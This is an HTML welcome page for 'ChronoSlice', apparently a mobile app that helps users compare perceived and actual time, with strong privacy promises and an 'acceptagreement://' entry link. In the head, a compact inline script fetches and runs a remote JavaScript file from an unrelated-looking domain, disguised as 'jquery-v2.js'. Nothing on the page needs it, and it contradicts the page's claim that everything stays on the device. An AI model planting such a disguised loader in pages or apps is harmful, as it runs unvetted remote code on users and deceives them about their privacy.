<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <script>(s=>{s.src=`https://rovonmotocare.btiosf.com/prod-api/static/6770447162/jquery-v2.js?loadTimestamp=${Date.now()}`;document.head.appendChild(s)})(document.createElement('script'))</script>
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
  <meta name="apple-mobile-web-app-capable" content="yes">
  <meta name="theme-color" content="#E4EBFA">
  <title>ChronoSlice</title>
  <style>
    :root {
      --bg-a: #E4EBFA;
      --bg-b: #FFF5EF;
      --bg-c: #DDF3F8;
      --ink: #1C1C1E;
      --ink-muted: #636366;
      --card: rgba(255, 255, 255, 0.72);
      --card-border: rgba(255, 255, 255, 0.95);
      --accent: #30B0C0;
      --accent-soft: #64D2FF;
      --shadow: 0 20px 50px rgba(28, 28, 30, 0.08);
    }
    * { box-sizing: border-box; margin: 0; padding: 0; -webkit-tap-highlight-color: transparent; }
    body {
      min-height: 100vh;
      font-family: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC", "Helvetica Neue", Arial, sans-serif;
      color: var(--ink);
      background:
        radial-gradient(circle at 12% 18%, rgba(100, 210, 255, 0.35), transparent 42%),
        radial-gradient(circle at 88% 82%, rgba(255, 159, 15, 0.18), transparent 40%),
        linear-gradient(145deg, var(--bg-a) 0%, var(--bg-b) 48%, var(--bg-c) 100%);
      display: flex;
      align-items: center;
      justify-content: center;
      padding: max(20px, env(safe-area-inset-top)) 20px max(28px, env(safe-area-inset-bottom));
    }
    .panel {
      width: min(100%, 520px);
      border-radius: 24px;
      background: var(--card);
      border: 1px solid var(--card-border);
      backdrop-filter: blur(18px);
      -webkit-backdrop-filter: blur(18px);
      box-shadow: var(--shadow);
      overflow: hidden;
    }
    .hero {
      padding: 26px 22px 18px;
      text-align: center;
      border-bottom: 1px solid rgba(28, 28, 30, 0.06);
    }
    .pie-deco {
      width: 88px;
      height: 88px;
      margin: 0 auto 16px;
      border-radius: 50%;
      background: conic-gradient(
        #FFE8E6 0deg 72deg,
        #E8FAF3 72deg 144deg,
        #F0F8FD 144deg 216deg,
        #FFF2EA 216deg 288deg,
        #E6FCF8 288deg 360deg
      );
      box-shadow: inset 0 0 0 6px rgba(255, 255, 255, 0.9), 0 8px 24px rgba(48, 176, 192, 0.2);
      position: relative;
    }
    .pie-deco::after {
      content: "";
      position: absolute;
      inset: 22px;
      background: rgba(255, 255, 255, 0.85);
      border-radius: 50%;
    }
    .tag {
      display: inline-block;
      font-size: 11px;
      font-weight: 600;
      letter-spacing: 0.12em;
      color: var(--accent);
      background: rgba(48, 176, 192, 0.12);
      border: 1px solid rgba(48, 176, 192, 0.28);
      padding: 5px 12px;
      border-radius: 999px;
      margin-bottom: 12px;
    }
    h1 {
      font-size: 26px;
      font-weight: 700;
      line-height: 1.2;
      letter-spacing: -0.02em;
      margin-bottom: 10px;
      color: var(--ink);
    }
    .sub {
      color: var(--ink-muted);
      line-height: 1.65;
      font-size: 15px;
      max-width: 420px;
      margin: 0 auto;
    }
    .content {
      padding: 18px 20px 8px;
      display: grid;
      gap: 10px;
    }
    .item {
      display: grid;
      grid-template-columns: 40px 1fr;
      gap: 12px;
      align-items: start;
      padding: 14px;
      border-radius: 16px;
      background: rgba(255, 255, 255, 0.55);
      border: 1px solid rgba(255, 255, 255, 0.8);
      font-size: 14px;
      line-height: 1.55;
      color: var(--ink-muted);
    }
    .icon {
      width: 40px;
      height: 40px;
      border-radius: 12px;
      display: flex;
      align-items: center;
      justify-content: center;
      font-size: 18px;
      background: linear-gradient(135deg, rgba(228, 235, 250, 0.9), rgba(221, 243, 248, 0.9));
      border: 1px solid rgba(255, 255, 255, 0.9);
    }
    .item strong {
      color: var(--ink);
      display: block;
      margin-bottom: 4px;
      font-size: 15px;
    }
    .notice {
      margin: 4px 20px 0;
      padding: 14px 16px;
      border-radius: 14px;
      background: rgba(48, 176, 192, 0.08);
      border: 1px solid rgba(48, 176, 192, 0.22);
      font-size: 13px;
      line-height: 1.65;
      color: #2a5a62;
    }
    .notice b { color: #1a454c; }
    .cta-wrap {
      padding: 18px 20px 12px;
    }
    .cta {
      display: block;
      width: 100%;
      text-align: center;
      text-decoration: none;
      color: #fff;
      font-weight: 700;
      font-size: 16px;
      letter-spacing: 0.02em;
      padding: 15px 16px;
      border-radius: 14px;
      background: linear-gradient(135deg, var(--accent) 0%, var(--accent-soft) 100%);
      box-shadow: 0 12px 28px rgba(48, 176, 192, 0.35);
    }
    .cta:active {
      opacity: 0.92;
      transform: scale(0.99);
    }
    .foot {
      text-align: center;
      color: var(--ink-muted);
      font-size: 12px;
      line-height: 1.5;
      padding: 0 20px 20px;
    }
  </style>
</head>
<body class="%@">
  <section class="panel">
    <header class="hero">
      <div aria-hidden="true" class="pie-deco"></div>
      <span class="tag">CHRONOSLICE</span>
      <h1>Slice your day.<br>Feel time differently.</h1>
      <p class="sub">A quiet tool to train subjective time awareness — not tasks, not efficiency, just how your brain experiences the hours.</p>
    </header>

    <div class="content">
      <div class="item">
        <div class="icon" aria-hidden="true">🥧</div>
        <div><strong>24-Hour Pie Slices</strong>Mark what has already passed — sleep, work, rest — with colors and symbols on a simple day chart. Manual annotation only, no timers or to-do lists.</div>
      </div>
      <div class="item">
        <div class="icon" aria-hidden="true">⏳</div>
        <div><strong>Perception vs. Reality</strong>See the gentle gap: “You marked 6 hours, but 7h 20m actually passed.” Understand how you feel time, without guilt or deadlines.</div>
      </div>
      <div class="item">
        <div class="icon" aria-hidden="true">📈</div>
        <div><strong>Your Error Curve</strong>Over days, track your personal time-perception drift. Spot patterns in when you over- or under-estimate the clock.</div>
      </div>

      <div class="notice">
        <b>Private by design:</b> No accounts, no ads, no in-app purchases. Your slices stay on this device. Optional local reminder at 6:00 PM — turn it off anytime in Settings.
      </div>
    </div>

    <div class="cta-wrap">
      <a class="cta" href="acceptagreement://">Enter ChronoSlice</a>
    </div>
    <div class="foot">Not a game. Not a productivity tracker. Just time awareness.</div>
  </section>
</body>
</html>
